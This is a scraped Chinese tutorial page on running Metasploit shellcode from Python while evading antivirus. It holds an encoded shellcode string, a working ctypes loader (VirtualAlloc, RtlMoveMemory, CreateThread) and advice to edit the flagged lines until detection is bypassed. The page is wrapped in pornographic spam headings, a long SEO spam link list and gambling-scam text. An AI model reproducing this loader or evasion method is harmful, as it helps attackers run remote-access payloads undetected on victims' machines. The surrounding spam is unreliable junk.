电脑知识|欧美黑人一区二区三区|软件|欧美黑人一级爽快片淫片高清|系统|欧美黑人狂野猛交老妇|数据库|服务器|编程开发|网络运营|知识问答|技术教程文章 - 好吧啦网

您的位置:首頁技術文章
文章詳情頁

通過Python實現Payload分離免殺過程詳解

瀏覽:2日期:2022-07-17 17:54:05

缺點:

編譯成exe以后體積過大

實現:

msf生成shellcode代碼:

通過Python實現Payload分離免殺過程詳解

將payload給copy下來,去除引號。

x2fx4fx69x43x41x41x41x41x59x49x6ex6cx4dx63x42x6bx69x31x41x77x69x31x49x4dx69x31x49x55x69x33x49x6fx44x37x64x4bx4ax6ax48x2fx72x44x78x68x66x41x49x73x49x4dx48x50x44x51x48x48x34x76x4ax53x56x34x74x53x45x49x74x4bx50x49x74x4dx45x58x6ax6ax53x41x48x52x55x59x74x5ax49x41x48x54x69x30x6bx59x34x7ax70x4ax69x7ax53x4cx41x64x59x78x2fx36x7ax42x7ax77x30x42x78x7ax6ax67x64x66x59x44x66x66x67x37x66x53x52x31x35x46x69x4cx57x43x51x42x30x32x61x4cx44x45x75x4cx57x42x77x42x30x34x73x45x69x77x48x51x69x55x51x6bx4ax46x74x62x59x56x6cx61x55x66x2fx67x58x31x39x61x69x78x4cx72x6ax56x31x6fx4dx7ax49x41x41x47x68x33x63x7ax4ax66x56x47x68x4dx64x79x59x48x69x65x6ax2fx30x4cx69x51x41x51x41x41x4bx63x52x55x55x47x67x70x67x47x73x41x2fx39x56x71x43x6dx6ax41x71x41x4dx38x61x41x49x41x44x51x57x4ax35x6cx42x51x55x46x42x41x55x45x42x51x61x4fx6fx50x33x2bx44x2fx31x5ax64x71x45x46x5ax58x61x4ax6dx6cx64x47x48x2fx31x59x58x41x64x41x72x2fx54x67x68x31x37x4fx68x6ex41x41x41x41x61x67x42x71x42x46x5ax58x61x41x4cx5ax79x46x2fx2fx31x59x50x34x41x48x34x32x69x7ax5ax71x51x47x67x41x45x41x41x41x56x6dx6fx41x61x46x69x6bx55x2bx58x2fx31x5ax4ex54x61x67x42x57x55x31x64x6fx41x74x6ex49x58x2fx2fx56x67x2fx67x41x66x53x68x59x61x41x42x41x41x41x42x71x41x46x42x6fx43x79x38x50x4dx50x2fx56x56x32x68x31x62x6bx31x68x2fx39x56x65x58x76x38x4dx4ax41x2bx46x63x50x2fx2fx2fx2bx6dx62x2fx2fx2fx2fx41x63x4dx70x78x6ex58x42x77x37x76x77x74x61x4ax57x61x67x42x54x2fx39x55x3d

將自己的代碼放入第3行的shell_code位置。

import ctypes,base64 encode_shellcode = 'shell_code'shellcode = base64.b64decode(encode_shellcode)rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x1000, 0x40)ctypes.windll.kernel32.RtlMoveMemory(rwxpage, ctypes.create_string_buffer(shellcode), len(shellcode))handle = ctypes.windll.kernel32.CreateThread(0, 0, rwxpage, 0, 0, 0)ctypes.windll.kernel32.WaitForSingleObject(handle, -1)

以上代碼是絕對會被查殺的,但是可以通過修改代碼繞過。思路如下,先查找殺軟查殺哪里,再修改殺軟查殺的代碼,同時保證正常運行。提示一下,查殺的代碼再5-6行之間,對其進行修改即可。

返回session:

通過Python實現Payload分離免殺過程詳解

免殺效果:

通過Python實現Payload分離免殺過程詳解

參考資料:

https://github.com/TideSec/BypassAntiVirus

https://micro8.gitbook.io/micro8/

以上就是本文的全部內容,希望對大家的學習有所幫助,也希望大家多多支持好吧啦網。

標簽: Python 編程
相關文章:
主站蜘蛛池模板: 滚珠丝杆升降机_螺旋升降机_丝杠升降机-德迈传动 | 多功能三相相位伏安表-变压器短路阻抗测试仪-上海妙定电气 | 浙江筋膜枪-按摩仪厂家-制造商-肩颈按摩仪哪家好-温州市合喜电子科技有限公司 | 许昌奥仕达自动化设备有限公司 | Jaeaiot捷易科技-英伟达AI显卡模组/GPU整机服务器供应商 | 充气膜专家-气膜馆-PTFE膜结构-ETFE膜结构-商业街膜结构-奥克金鼎 | 百度网站优化,关键词排名,SEO优化-搜索引擎营销推广 | 冷油器,取样冷却器,热力除氧器-连云港振辉机械设备有限公司 | 深圳工程师职称评定条件及流程_深圳职称评审_职称评审-职称网 | 防火阀、排烟防火阀、电动防火阀产品生产销售商-德州凯亿空调设备有限公司 | 海外仓系统|国际货代系统|退货换标系统|WMS仓储系统|海豚云 | 酒吧霸屏软件_酒吧霸屏系统,酒吧微上墙,夜场霸屏软件,酒吧点歌软件,酒吧互动游戏,酒吧大屏幕软件系统下载 | 汽车水泵_汽车水泵厂家-瑞安市骏迪汽车配件有限公司 | 环氧乙烷灭菌器_压力蒸汽灭菌器_低温等离子过氧化氢灭菌器 _低温蒸汽甲醛灭菌器_清洗工作站_医用干燥柜_灭菌耗材-环氧乙烷灭菌器_脉动真空压力蒸汽灭菌器_低温等离子灭菌设备_河南省三强医疗器械有限责任公司 | 阴离子_阳离子聚丙烯酰胺厂家_聚合氯化铝价格_水处理絮凝剂_巩义市江源净水材料有限公司 | 土壤墒情监测站_土壤墒情监测仪_土壤墒情监测系统_管式土壤墒情站-山东风途物联网 | 浇钢砖,流钢砖_厂家价低-淄博恒森耐火材料有限公司 | 400电话_400电话申请_866元/年_【400电话官方业务办理】-俏号网 3dmax渲染-效果图渲染-影视动画渲染-北京快渲科技有限公司 | 丝印油墨_水性油墨_环保油墨油漆厂家_37国际化工 | 罗茨真空机组,立式无油往复真空泵,2BV水环真空泵-力侨真空科技 | 山东柳店新能源科技有限公司| 依维柯自动挡房车,自行式国产改装房车,小型房车价格,中国十大房车品牌_南京拓锐斯特房车 - 南京拓锐斯特房车 | 【MBA备考网】-2024年工商管理硕士MBA院校/报考条件/培训/考试科目/提前面试/考试/学费-MBA备考网 | 便携式表面粗糙度仪-彩屏硬度计-分体式粗糙度仪-北京凯达科仪科技有限公司 | 硅胶制品-硅橡胶制品-东莞硅胶制品厂家-广东帝博科技有限公司 | Magnescale探规,Magnescale磁栅尺,Magnescale传感器,Magnescale测厚仪,Mitutoyo光栅尺,笔式位移传感器-苏州连达精密量仪有限公司 | 微水泥_硅藻泥_艺术涂料_艺术漆_艺术漆加盟-青岛泥之韵环保壁材 武汉EPS线条_EPS装饰线条_EPS构件_湖北博欧EPS线条厂家 | 棕刚玉-白刚玉厂家价格_巩义市东翔净水材料厂 | 深圳工程师职称评定条件及流程_深圳职称评审_职称评审-职称网 | 隧道风机_DWEX边墙风机_SDS射流风机-绍兴市上虞科瑞风机有限公司 | 湖北省煤炭供应链综合服务平台| 楼承板设备-楼承板成型机-免浇筑楼承板机器厂家-捡来 | 光伏家 - 太阳能光伏发电_分布式光伏发电_太阳能光伏网 | 对照品_中药对照品_标准品_对照药材_「格利普」高纯中药标准品厂家-成都格利普生物科技有限公司 澳门精准正版免费大全,2025新澳门全年免费,新澳天天开奖免费资料大全最新,新澳2025今晚开奖资料,新澳马今天最快最新图库 | 安徽净化板_合肥岩棉板厂家_玻镁板厂家_安徽科艺美洁净科技有限公司 | 车牌识别道闸_停车场收费系统_人脸识别考勤机_速通门闸机_充电桩厂家_中全清茂官网 | 天津市能谱科技有限公司-专业的红外光谱仪_红外测油仪_紫外测油仪_红外制样附件_傅里叶红外光谱技术生产服务厂商 | 深圳APP开发公司_软件APP定制开发/外包制作-红匣子科技 | 联系我们老街华纳娱乐公司官网19989979996(客服) | 北京环球北美考试院【官方网站】|北京托福培训班|北京托福培训 | 上海瑶恒实业有限公司|消防泵泵|离心泵|官网 |